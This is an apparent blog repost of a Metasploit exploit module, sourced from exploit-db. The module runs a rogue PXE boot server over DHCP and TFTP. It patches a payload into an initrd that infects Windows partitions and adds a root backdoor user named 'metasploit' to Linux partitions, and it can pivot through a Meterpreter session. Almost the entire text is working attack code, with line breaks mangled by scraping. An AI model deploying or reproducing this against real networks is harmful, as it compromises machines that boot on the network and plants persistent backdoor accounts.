728x90
|
##
|
# $Id: pxexploit.rb 13493
2011-08-05 17:10:27Z scriptjunkie $ |
##
|
|
##
|
# This file is part of the
Metasploit Framework and may be subject to
|
# redistribution and commercial
restrictions. Please see the Metasploit |
# Framework web site for more
information on licensing and terms of use.
|
# http://metasploit.com/framework/
|
##
|
|
require 'msf/core' |
require 'rex/proto/tftp' |
require 'rex/proto/dhcp' |
|
class Metasploit3 < Msf::Exploit::Remote
|
Rank =
ExcellentRanking |
|
include
Msf::Exploit::Remote::TFTPServer |
|
def initialize
|
super(
|
'Name' =>
'PXE exploit server', |
'Version' =>
'$Revision: 13493 $', |
'Description' => %q{
|
This module provides a PXE
server, running a DHCP and TFTP server.
|
The default configuration loads a linux kernel and initrd into memory
that |
reads the hard drive; placing the payload on the hard drive
of any Windows |
partition seen, and
add a uid 0
user with username and password metasploit to
any |
linux partition seen. |
}, |
'Author' => [
'scriptjunkie' ], |
'License' =>
MSF_LICENSE,
|
'Version' =>
'$Revision: 13493 $', |
'DefaultOptions' =>
|
{ |
'EXITFUNC' =>
'process',
|
}, |
'Payload' =>
|
{ |
'Space' =>
4500,
|
'DisableNops' =>
'True',
|
}, |
'Platform' =>
'win',
|
'Targets' =>
|
[ |
[ 'Windows
Universal',
|
{ |
} |
], |
], |
'Privileged' =>
true,
|
'Stance' =>
Msf::Exploit::Stance::Passive, |
'DefaultTarget' =>
0 |
)
|
|
register_options( |
[ |
OptInt.new('SESSION', [ false, 'A session to pivot the
attack through' ])
|
], self.class) |
|
register_advanced_options(
|
[ |
OptString.new('TFTPROOT', [ false, 'The TFTP root directory
to serve files from' ]),
|
OptString.new('SRVHOST', [ false, 'The IP of the DHCP
server' ]),
|
OptString.new('NETMASK', [ false, 'The netmask of the local
subnet', '255.255.255.0' ]),
|
OptString.new('DHCPIPSTART', [ false, 'The first IP to give
out' ]), |
OptString.new('DHCPIPEND', [ false, 'The last IP to give
out' ]) |
], self.class) |
end |
|
def exploit
|
if not datastore['TFTPROOT']
|
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
|
end |
datastore['FILENAME'] = "update1" |
datastore['SERVEONCE'] = true # once they reboot;
don't infect again - you'll kill them! |
|
# Prepare payload |
print_status("Creating
initrd") |
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
|
uncompressed = Rex::Text.ungzip(initrd)
|
payl = payload.generate
|
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl |
initrd = Rex::Text.gzip(uncompressed)
|
|
# Meterpreter attack
|
if framework.sessions.include? datastore['SESSION']
|
client = framework.sessions[datastore['SESSION']]
|
if not client.lanattacks |
print_status("Loading
lanattacks extension...")
|
client.core.use("lanattacks")
|
end |
|
print_status("Loading DHCP
options...")
|
client.lanattacks.load_dhcp_options(datastore)
|
1.upto(4) do |i|
|
print_status("Loading file
#{i} of 4")
|
if i < 4 |
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
|
else |
contents = initrd |
end |
client.lanattacks.add_tftp_file("update#{i}",contents)
|
end |
print_status("Starting TFTP
server...")
|
client.lanattacks.start_tftp
|
print_status("Starting DHCP
server...")
|
client.lanattacks.start_dhcp
|
print_status("pxesploit
attack started")
|
return |
end |
|
# normal attack |
print_status("Starting TFTP
server...")
|
@tftp =
Rex::Proto::TFTP::Server.new |
@tftp.set_tftproot(datastore['TFTPROOT'])
|
@tftp.register_file('update4',initrd)
|
@tftp.start
|
|
print_status("Starting DHCP
server...")
|
@dhcp =
Rex::Proto::DHCP::Server.new( datastore ) |
@dhcp.start
|
print_status("pxesploit
attack started")
|
|
# Wait for finish..
|
@tftp.thread.join
|
@dhcp.thread.join
|
print_status("pxesploit
attack completed")
|
end |
|
end |
출처 : exploit-db.com
728x90
그리드형(광고전용)
댓글